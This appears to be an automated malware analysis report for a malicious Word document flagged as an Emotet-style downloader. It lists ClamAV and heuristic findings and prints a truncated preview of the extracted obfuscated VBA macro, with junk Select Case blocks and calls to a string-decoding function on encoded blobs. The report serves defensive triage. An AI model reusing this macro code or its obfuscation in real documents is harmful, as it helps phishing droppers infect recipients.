MALICIOUS
244
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emodldr-10025032-0'. High-severity heuristics indicate the presence of VBA macros, specifically an AutoOpen macro that uses CreateObject, suggesting an attempt to download and execute a second-stage payload. The extracted VBA macro code, though obfuscated, contains calls to a function 'mzpUhE' with what appear to be encoded strings, likely containing URLs or commands for payload retrieval and execution.
Heuristics 9
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 53337 bytes |
SHA-256: 18948f05840a6c4412047d8107e85fdfbb4641584748b581505ab12b1c1c813f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 15 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "zuaSBGitjA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "hQiaIZr"
Function RtXwzlmHOCB()
On Error Resume Next
Select Case YfTAl
Case 70068
jfjpv = CStr(wiwzb + CStr(4009) - Rmzcv * 65663)
Case 27737
Zznfq = PHGhr
vWiwI = Tan(15993 * UPoGb)
End Select
tHKLiXLuNCu = mzpUhE("M2wTOAA5AGQAOQAzADkAZQBjADYAMgA5ADcANQA1AGQAYQAxADAAYwAxADAAOQAyAGYAZAA2AGEAOAA2ADcAMgA5ADIANQA4AGEANQBmPhJH", 5, 100)
Select Case Lumiq
Case 10000
WvGiw = CStr(FRjbs + CStr(33222) - qMvHBU * 74944)
Case 34075
wlqLZf = cZPco
zPwzwC = Tan(98798 * owosPw)
End Select
Select Case lFnHH
Case 55063
YVBVvv = CStr(iNscjv + CStr(31288) - Pvnjo * 39562)
Case 55489
VEZahN = tbqkNK
wfwMdv = Tan(83403 * JsuXp)
End Select
luYDWCsi = mzpUhE("oDMAMAA1AGYAMAA4ADQANQA0ADAAMQBlADIANgBmADEAOAAzADcAYQA0AGUANABiADIAMgA1ADYANAAwAGYAMwA4ADUANAA5ADAAOQA2ADQAZgBiAGQANAA2ADMAOQBiADAAYgA3AGMAYQA5AGYAYQA4ADgANQBiAGEPjPzTY", 2, 162)
Select Case UYoMvl
Case 61618
VVHRV = CStr(BsKCDc + CStr(97421) - kcqjs * 38195)
Case 90597
fKXAYC = YSZHf
dEMas = Tan(1821 * hsUNt)
End Select
Select Case RKBiQ
Case 8268
fzTjv = CStr(CLvpBS + CStr(65158) - zkqDUa * 23270)
Case 53864
QRoLXh = JdnjW
PhTwz = Tan(45742 * HZqtiR)
End Select
TjjLDZWwm = mzpUhE("5aUjYmMAAzAGYANAAy3Di", 7, 12)
Select Case Kfwis
Case 6344
CPHZf = CStr(ofYiwP + CStr(82060) - JkVco * 83354)
Case 74044
avcFHv = jJrTCN
MZStv = Tan(53889 * MuTbE)
End Select
Select Case lNUoD
Case 10870
XTQYs = CStr(iXMlqF + CStr(69575) - bQdqb * 66896)
Case 651
pwBEKW = Tjjruw
alXZk = Tan(7908 * CFPOEK)
End Select
Nwcrqq = mzpUhE("kOAAwADcAMwA2ADMANQAxADcAYQBmADIAOQAxADUAOQA1AGQANgA0AGEAZAA0ADYAMABmADUAOABmAGYAZgBmADQAZgA3ADYAMAA3AGYAZAA2AGQAMwBhAGQAZAAzicZvJiu", 2, 123)
Select Case rzcWPi
Case 57654
WnZLv = CStr(BGOpOQ + CStr(79870) - SCwwqm * 83118)
Case 74725
GMiclH = fQhGO
zYJEAz = Tan(1668 * puIwi)
End Select
Select Case uwAsiC
Case 47201
zHLJw = CStr(SksiFi + CStr(86029) - zchISS * 35783)
Case 37899
wCzlH = sSiiZ
jwICPG = Tan(15532 * PqrHu)
End Select
RFpYOpI = mzpUhE("NvAOQA4AGMAYgA2AGUAMABhAGEAMQBHU@YV", 3, 28)
Select Case XKWjGo
Case 57319
MHwvLf = CStr(PbzTD + CStr(37180) - ZGCLKH * 15440)
Case 15697
sqIhh = uYkSwj
GTvcM = Tan(338 * rnrfq)
End Select
Select Case CRTzTY
Case 7049
aKEzs = CStr(wlRPA + CStr(19845) - ATcEI * 36571)
Case 43768
uORcQ = csRiF
atBYwN = Tan(8902 * kVEzR)
End Select
bRZlKQ = mzpUhE("nvX3kcIAYwBlADMAZsG", 7, 11)
Select Case CwrtL
Case 9895
djvmXb = CStr(UsAku + CStr(34283) - HSDFuO * 22081)
Case 76994
KTKvD = BXTALz
Fmbmp = Tan(83159 * VTDAcv)
End Select
Select Case vTvLo
Case 15792
nHdsY = CStr(roPAZS + CStr(26864) - ZHXwmX * 57208)
Case 83123
bXvEW = ztGtkZ
PlVUtb = Tan(48362 * TfAKWL)
End Select
KiWjlwF = mzpUhE("khiADkANABlADEAZQBiADkAMABiAGIAZgBmADYANgBhAGMAYQAyADQAZQA3ADMANQBlADgAYwAyADgAYwBiADYAOQBlADYANABkAGEANgA0ADAAMgAxAGUAYgBmAGEAMAAxADcAMwBjADUAZgAxAGUAYQA4ADQAZQA5ADUAYgA1ADcAOAPkhSJF", 3, 175)
Select Case MBknw
Case 94711
UdpVH = CStr(GTYdS + CStr(54227) - mdRiCS * 37527)
Case 15816
uuzWZj = JwdzN
rfXUH = Tan(68330 * HXsuTl)
End Select
Select Case pGJhd
Case 4364
zwbXs = CStr(znNXAW + CStr(9829) - fcivw * 83670)
Case 72502
JfpfV = LfiTv
CXSNzi = Tan(87162 * ThdYHK)
End Select
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.